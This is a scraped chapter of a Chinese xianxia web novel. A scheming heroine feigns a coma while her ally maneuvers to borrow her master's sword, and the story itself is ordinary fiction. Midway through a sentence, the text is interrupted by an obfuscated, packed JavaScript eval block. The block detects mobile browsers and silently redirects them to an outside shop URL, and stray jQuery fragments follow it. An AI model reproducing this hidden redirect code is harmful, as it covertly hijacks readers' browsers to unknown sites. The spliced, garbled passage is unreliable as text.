文趣网 > 其他小说 > 如何避免被正道诛灭 > 42. 两断
    陆渊止给她的这一刀虽然没直接要了性命,却不仅仅是刺穿了肉身,还毫不留情地伤及了她内里的灵脉。

    剧烈的疼痛如雨水般浸透四肢百骸,陆不系很快麻木了,就这样躺在地上两眼一闭,缓慢地调息恢复。

    过了一会,她身旁响起某人踩过积水的声音,接着一道悦耳的嗓音传入她耳中:“唉,你们打架也太没轻没重了,把我的戏服都弄坏啦。”

    尽管这么说着,那道声音中却没有忧愁,而是充满着一种无牵无挂的开朗,明快得仿佛一扫阴霾,雨过天晴。

    停顿了一会,那人又若有所思道:“虽然是兄妹,不过你们长得不一样呢。”

    这家伙又是谁啊……陆不系眼睛睁开一条缝,模糊看到一角彩色的裙裾。

    这大概就是城里那位妖怪吧。陆不系懒得费力跟她纠缠,重新闭上眼睛装死。

    “你哥把你丢在这里,也没告诉我接下来怎么办啊。”那人的声音近了些,似乎蹲下了身,“算了,我就收点过路费吧……你有没有带什么值钱的东西啊?嗯,这把剑看着不错,就是感觉不太结实……”

    妖怪自说自话着,陆不系忽然感到身上被一双手摸来摸去,最后停留在她胸口,似乎准备掏入她的心府。

    这抢劫也太光明正大了吧,她还没死呢!

    陆不系有些恼了,正准备抬手阻止这个没礼貌的家伙,那妖怪却突然罢了手站起身,声音压低了些许:“哎呀,好像有人来找你了,我得先——”

    话音未落,清越的剑吟自远处骤然而至!陆不系感到一阵寒气掠过,接着附近爆开金铁相撞的锐响。

    异样的大风激起水声,有什么庞然大物振翅飞起,旋即世界重新安静了下来。

    缘无寒来了……!

    陆不系却没有松下一口气,反而心中一紧,迅速开始思量说辞。

    还是全部栽赃给陆渊止吧,反正他也动手杀了一个,也不算冤枉了他。就说自己拼死也没能护住两位同门,正要与魔星殊死一搏时,师父大人及时赶到,吓跑了魔星……

    她还在冥思苦想,熟悉的声音却在她脑海中响起:“听得见么?”

    听到怀照月的声音,陆不系稍微放下了一点心。江州城中的变故虽然她不曾料到,但有怀照月在,想必总能收拾这个烂摊子。

    她不由轻佻地回以一句玩笑:“有话快说,说不定待会我就死了。”

    “那就继续装死,千万别动。”怀照月也像在开玩笑,语气却格外认真。

    几乎同时,缘无寒微沉的声音也在她身侧响起:“阿系?”

    没有人回应。

    白衣少女躺在漫流的血水中,双眸紧闭,宛若飘零在大雨的一片落花,不再如平常那样欢快地回他一句师父。

    *

    “我已经把伤都治好了呀。”褚苦恼地来回踱步,“我只能保证她没有死,但我也不知道她为什么醒不过来。”

    自缘无寒将陆不系带回浮浪山已经过了两天,褚也忙碌了两天。陆不系腹部可怖的伤口在褚绝妙的医术下已经痊愈,气色也好转了不少,却始终昏迷不醒。

    “找不出原因么?”缘无寒道。

    褚看向缘无寒,清平门掌门负手而立,脸上仍然是一贯的从容神情。褚有时不禁怀疑,若是有朝一日清平门被妖魔夷平,缘无寒是否也依然能如此面不改色。

    回想过去,年少时的缘无寒倒还有过慌乱和发怒的时候。但自从他继任掌门以来,便永远是这副八风不动的模样了。

    不过……这两天倒是缘无寒来他的药庐来得最频繁的一段时间了。

    “我是看不出来了……这不是用医术能解决的问题,或许是受了什么术法影响吧。”褚挠了挠头,忽然灵光一现,想起了那位常来串门的年轻术师,“那位怀家少主不是在山上么,让他看看,说不定能发现端倪。”

    仙门虽然也会修习道术,但多是正统的五行术和阵法,主要是用来降妖除魔。而术师们行走江湖,除了捉妖捉鬼之外,也会接各种委托,擅使的术法也五花八门。

    尽管一些自视甚高的仙门中人私下鄙弃术师掌握的不过是奇技淫巧,但论通晓术法的范围之广,的确是术师更胜一筹。

    至于号称大奉术法第一的怀家,甚至无人知晓他们掌握着怎样的秘术。若说芙蓉销金楼的楼主无所不知,怀氏一族在坊间传言中则几乎是神乎其神,无所不能。

    缘无寒沉吟片刻,转身而去。不消片刻,青衣少年便随缘无寒踏入了药庐。

    怀照月在来的路上应当已经知晓了何事。但仿佛是受到缘无寒的影响,这位年纪尚轻的术师也并没有显出急迫之色。

    进屋之后,他先一如往常地问候了褚一句,这才坐到床边,仔细察看起昏迷的少女来。

    怀照月手指点在陆不系眉心,淡淡光华蔓延过她全身。就这样过了一刻钟,他方收手起身,朝缘无寒肃然道:“陆姑娘被心魔所伤,魔气侵入魂魄,迷惑神智,这才一直醒不过来。”

    “我用过醒神的术法,并无效果。”缘无寒平静道。

    “陆姑娘现在用普通的办法是‘点醒’不了的,必须把她体内的魔气全部祛除,才会醒来。”怀照月只解释了一句,便惜字如金地止住了话头。

    缘无寒看着他,忽然微微一笑,顺着他的话道:“既然如此,怀公子可有办法?”

    “有是有,”怀照月叹了口气,“不过……我与陆姑娘虽然有几分交情,但上回受缘掌门所托,前往江州勘测入城时机,又为缘掌门传信,已是尽了情分。此次若要布设除魔的阵法,耗费颇大——”

    他也看向缘无寒,牵起一个笑容,“我当初答应可以为缘掌门做一件事,不知是否就是‘这件事’?”

    “是。”缘无寒答得毫无迟疑,仿佛全然不觉得怀家少主足以倾覆天下的承诺值得更加珍重。

    亦或者,他已经用在了足够重要之事上。

    “那就这么说定了。”怀照月一拍掌,爽快道,“另外,缘掌门的清平剑乃龙鳞所铸,祛邪镇恶,正适合作为阵眼,可否借用半日?”

    这次缘无寒没有立刻回答,微微垂眼,不动声色地睨视着他。

    然而怀照月端着那副毫不心虚的笑脸,缘无寒也很快收回那带有明确探寻意味的目光,颔首道:“可以。”

    “那么我就先去取些阵法要用的材料,还请缘掌门在此稍等片刻。”怀照月稍一躬身,含笑道,“缘掌门果然会答

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652471|204523||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    应,毕竟我见陆姑娘命不该绝。”

    说罢,他便转身施施然出门了。

    *

    装死其实是一门技术活。被褚往嘴里灌味道怪异的药汁时,陆不系得忍住不能皱眉,无聊时更不能动弹和说话,甚至还不能睡着,以防太过松懈而不小心露出破绽。

    起初陆不系以为怀照月是要让她施展苦肉计,博得缘无寒的怜爱。然而直到方才一字不漏地听得怀照月和缘无寒的一番话,她才恍然了悟怀照月的用意。

    她在缘无寒心中的分量已经足够了——现在正是收网的时候!

    而且一切都是那么恰到好处,毫无勾结合谋的痕迹。重伤她的是偶然出现的魔星,提到怀照月的是褚,亲自开口让怀照月帮忙的是缘无寒自己。自始至终,怀照月不过是个事不关己的局外人。

    他唯一主动要求的一件事,不过是借清平剑一用而已。

    清平剑虽然重要,也有所谓不得离身的规矩;但毕竟说到底也只是一把剑罢了,就算真让旁人拿去一时半刻,也不会骤然掀起什么惊天动地的风浪。

    往常清平剑象征掌门权威,缘无寒自然不会借予他人。但现在事关陆不系的性命,缘无寒必定还是更看重自己心爱的徒儿,更不会在乎门中规矩。

    于情于理,缘无寒都会答应这次“暂借”。

    或许他会怀疑怀照月趁机借用清平剑是另有目的,但也料这个年轻术师不至于胆大到在他眼皮子底下做什么手脚。出于一贯的傲慢自恃,他也就没多过问,顺了怀照月的意。

    但是……她的好师父,这回可是大错特错。

    一旦拿到清平剑,怀照月就会带着她逃之夭夭。哪怕不逃跑,只要缘无寒手中没有清平剑,陆不系也有自信不会输于他。何况此时缘花落也不在浮浪山上,简直是天时地利人和。

    只是不知道怀照月是从什么时候开始算计的。是当初下山之时就织造好了一切,还是见她被陆渊止重伤,才临时起意?

    说来……窃得清平剑之后,怀照月应当也会成为天下得而诛之的罪人吧。不知怀家会不会包庇这位大逆不道的少主。不过怀照月这么聪明,总给自己谋算好了后路。

    要是他想跟她这个魔女一起浪迹天涯兴风作浪,她当然也很乐意与这个好用又有趣的盟友继续携手。

    算了,这都不重要,最重要的是清平剑马上就能得手了啊!尽管陆不系快要相信自己的死是命中注定无可更改,但这一世……说不定会不一样呢?

    陆不系三十世来从未如此称心快意过,然而当下必须控制自己不能露出得意忘形的神情,继续一动不动地直挺挺躺着。

    怀照月走了,褚也走了,此刻房间里只剩下她和缘无寒两人。

    后会无期了师父,我一定不会想念你的——陆不系在心中暗自挥别。

    她听到一阵纸页翻动的摩擦声,似乎缘无寒在翻什么书。又静了一会,缘无寒微微叹了口气,坐在了床边。

    温凉的指尖搭上她的手腕,是缘无寒轻轻抚上了她的那条手链。

    接着,陆不系忽然感到这一年来环在手腕上、她已经习惯了的编绳的触感,在这轻轻一碰下松开消失。

    ——那条手链,断开了。